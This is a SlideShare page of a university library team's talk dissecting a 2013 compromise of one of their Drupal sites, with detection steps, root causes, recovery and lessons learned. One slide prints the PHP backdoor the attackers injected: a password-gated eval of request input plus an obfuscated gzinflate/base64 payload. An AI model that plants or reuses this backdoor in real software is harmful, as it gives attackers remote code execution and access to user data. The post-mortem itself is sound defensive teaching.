Anatomy of a Drupal Hack
Graham Stewart
Network and Storage Services Manager
Bilal Khalid
Senior Application Developer
Uni...
ITS at University of Toronto Libraries
=> wide range of services and
resources in support of the
Library’s role in support...
Photo: Gordon Belray
Photo: Gordon Belray
Photo: Gordon Belray
Not just hardware ...
Collaborative environment between:
- programmers / developers / designers
- librarians
- sysadmins /...
… and we’re hiring !
Drupal @UTL
Application
and caching
Database
Load
balancing
Storage or
rsync
IP
HAProxy /
Keepalived
HAProxy /
Keepalived
IP
Memcached...
February 14, 2013
12:10
“Armorial is down!”
12:18
“Update: Armorial down
for 1.5 hours, server
side issue? maybe
caching?”
Symptom or
root problem?
Chef
?
MySQL
error?
Restart Apache?
Restart server?
Recent OS
updates?
PHP versions?
Drupal
Custo...
Detection
- apache log analysis
- looked for odd traffic patterns
- in particular, isolated all wp-conf requests
- “hack” ...
Exploit...
FCKEditor Bug - allows XSS attacks
Sources:
https://drupal.org/node/1482528
http://webcache.googleusercontent.c...
… + PHP Execution...
PHP Filter Module
- core module that allows ‘client’ PHP execution
- disabled by default
… + Permission issues...
Incorrect rwx permissions for sites/default/files
- allowed user uploaded files to be executable ...
… = Code Injection
Snippet found inserted at the top of random PHP files
throughout the site:
if(isset($_REQUEST['ch']) &&...
Snooping Utility
Risk Exposure
- hijack/deface site
- ransomware => blackmail
- host their own content
- execute phishing attacks
- gain ac...
Risk Exposure
- use Drupal’s settings.php to gain access to the database/salt
- harvest public/private site content
- acce...
The Recovery - Restoration
- restored site from a couple of days prior
- all servers are backed up nightly (incl. files an...
The Recovery - Communication
- contacted all potentially affected site members
- clear, honest communication
- possibility...
Lessons Learned - Drupal
- first real Drupal problem
- follow Drupal security guidelines!
- https://drupal.org/security/se...
Lessons Learned - Operational
- review site security policies
- enforcement: periodic security sweeps
- tight control on p...
Embrace Failure
- Failure rarely has a single cause:
- systems are very complex, many interdependencies
- answers are not ...
Source: John Allspaw: Advanced PostMortem Fu and Human Error 101
http://www.slideshare.net/jallspaw/advanced-postmortem-fu...
Lessons Learned - Cultural
- Everyone must have the organization’s end goals in mind
- Team of experts or team of poly-ski...
Further Information
https://drupal.org/security/secure-configuration
https://drupal.org/writing-secure-code
http://www.cam...
Questions?
Thank You
Anatomy of a Drupal Hack - TechKnowFile 2014
Anatomy of a Drupal Hack - TechKnowFile 2014
Anatomy of a Drupal Hack - TechKnowFile 2014
Anatomy of a Drupal Hack - TechKnowFile 2014
Anatomy of a Drupal Hack - TechKnowFile 2014
Anatomy of a Drupal Hack - TechKnowFile 2014
Anatomy of a Drupal Hack - TechKnowFile 2014
Anatomy of a Drupal Hack - TechKnowFile 2014
Anatomy of a Drupal Hack - TechKnowFile 2014
Upcoming SlideShare
Loading in...5
×

Anatomy of a Drupal Hack - TechKnowFile 2014

2,117

Published on

Published in: Technology
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total Views
2,117
On Slideshare
0
From Embeds
0
Number of Embeds
4
Actions
Shares
0
Downloads
10
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide

Anatomy of a Drupal Hack - TechKnowFile 2014

  1. 1. Anatomy of a Drupal Hack Graham Stewart Network and Storage Services Manager Bilal Khalid Senior Application Developer University of Toronto Libraries
  2. 2. ITS at University of Toronto Libraries => wide range of services and resources in support of the Library’s role in supporting the research, teaching and learning mission of the university and its community. => develop and maintain digital collections and web-based resources => upward of 100 web sites, > 200 servers, ~1 PB storage, 56M visits to sites in FY 2012 Photo: Gordon Belray
  3. 3. Photo: Gordon Belray
  4. 4. Photo: Gordon Belray
  5. 5. Photo: Gordon Belray
  6. 6. Not just hardware ... Collaborative environment between: - programmers / developers / designers - librarians - sysadmins / operations Technology environment: - open source tools - Linux (Ubuntu, Redhat), KVM
  7. 7. … and we’re hiring !
  8. 8. Drupal @UTL
  9. 9. Application and caching Database Load balancing Storage or rsync IP HAProxy / Keepalived HAProxy / Keepalived IP Memcached/ Keepalived Memcached/ Keepalived IPMySQL MySQL User Varnish APC Apach e & PHP Varnish APC Apach e & PHP Varnish APC Apach e & PHP Varnish APC Apach e & PHP
  10. 10. February 14, 2013
  11. 11. 12:10 “Armorial is down!”
  12. 12. 12:18 “Update: Armorial down for 1.5 hours, server side issue? maybe caching?”
  13. 13. Symptom or root problem? Chef ? MySQL error? Restart Apache? Restart server? Recent OS updates? PHP versions? Drupal Customizations? Anything updated in Drupal? Hacked !?#%$&!
  14. 14. Detection - apache log analysis - looked for odd traffic patterns - in particular, isolated all wp-conf requests - “hack” attempt started a couple of weeks before - successful injection occurred the day before
  15. 15. Exploit... FCKEditor Bug - allows XSS attacks Sources: https://drupal.org/node/1482528 http://webcache.googleusercontent.com/search?q=cache:http://exploitsdownload .com/exploit/na/drupal-fckeditorckeditor-php-execution
  16. 16. … + PHP Execution... PHP Filter Module - core module that allows ‘client’ PHP execution - disabled by default
  17. 17. … + Permission issues... Incorrect rwx permissions for sites/default/files - allowed user uploaded files to be executable by www- data - www-data also had write permissions to /var/www!
  18. 18. … = Code Injection Snippet found inserted at the top of random PHP files throughout the site: if(isset($_REQUEST['ch']) && (md5($_REQUEST['ch']) == 'edd1d65d726121336405c4d2554df925') && isset($_REQUEST['php_code'])) { eval($_REQUEST['php_code']); exit(); } eval(gzinflate(base64_decode('y0zTyCwuTi3RUIkPcg0MdQ0OiVZPzlCP1VRQU1 PQyE0xxZSwtVVQT01JMUwxM00xNzIzNDI0NjYzMTBNNkkxMjU1SUmzNDJVB+ vHMLkgoyA+OT8lFWiMpkK1QmpZYg4OaWuF1IrMEg0gXQsA'))); Reversing gzinflate:
  19. 19. Snooping Utility
  20. 20. Risk Exposure - hijack/deface site - ransomware => blackmail - host their own content - execute phishing attacks - gain access to other sites on server (if any) - exploit OS vulnerabilities
  21. 21. Risk Exposure - use Drupal’s settings.php to gain access to the database/salt - harvest public/private site content - access personal user information (including passwords!!) - access other dbs/sites if they use the same credentials
  22. 22. The Recovery - Restoration - restored site from a couple of days prior - all servers are backed up nightly (incl. files and db) - at most 48 hours of data loss - correct file-system permissions - disabled FCKEditor, PHP Filter modules - reset Drupal admin password - changed all site users’ passwords
  23. 23. The Recovery - Communication - contacted all potentially affected site members - clear, honest communication - possibility of personal information being leaked - possibility passwords might have been compromised - do users use same passwords for other services?
  24. 24. Lessons Learned - Drupal - first real Drupal problem - follow Drupal security guidelines! - https://drupal.org/security/secure-configuration - vet the required core, contrib and custom modules for project - stay on top of the updates - test patches and updates and implement rapidly - use https for all secure pages (whenever possible) - install security modules - Security Review, Security Kit, Login Security, ... - if developing, use Drupal’s built-in checking functions
  25. 25. Lessons Learned - Operational - review site security policies - enforcement: periodic security sweeps - tight control on production environments - protect the core code with version control - use https whenever authentication is involved - mod_security to block attacks - establish security analysis practices - metrics - traffic analysis - log triggers and notifications
  26. 26. Embrace Failure - Failure rarely has a single cause: - systems are very complex, many interdependencies - answers are not necessarily obvious - weakness can be latent, triggered by other flaws - red herrings - swiss cheese
  27. 27. Source: John Allspaw: Advanced PostMortem Fu and Human Error 101 http://www.slideshare.net/jallspaw/advanced-postmortem-fu-and-human-error-101- velocity-2011
  28. 28. Lessons Learned - Cultural - Everyone must have the organization’s end goals in mind - Team of experts or team of poly-skilled polyglots? - Emergency roles may differ from normal roles - Emergency communication channels must be defined - Failure rehearsals: deliberately break things: - The culture must be free of blame
  29. 29. Further Information https://drupal.org/security/secure-configuration https://drupal.org/writing-secure-code http://www.cameronandwilding.com/blog/pablo/10-most-critical- drupal-security-risks http://www.slideshare.net/jallspaw/advanced-postmortem-fu-and- human-error-101-velocity-2011 http://www.kitchensoap.com/ http://arstechnica.com/information-technology/2012/07/netflix- attacks-own-network-with-chaos-monkey-and-now-you-can-too/
  30. 30. Questions? Thank You
  1. A particular slide catching your eye?

    Clipping is a handy way to collect important slides you want to go back to later.

×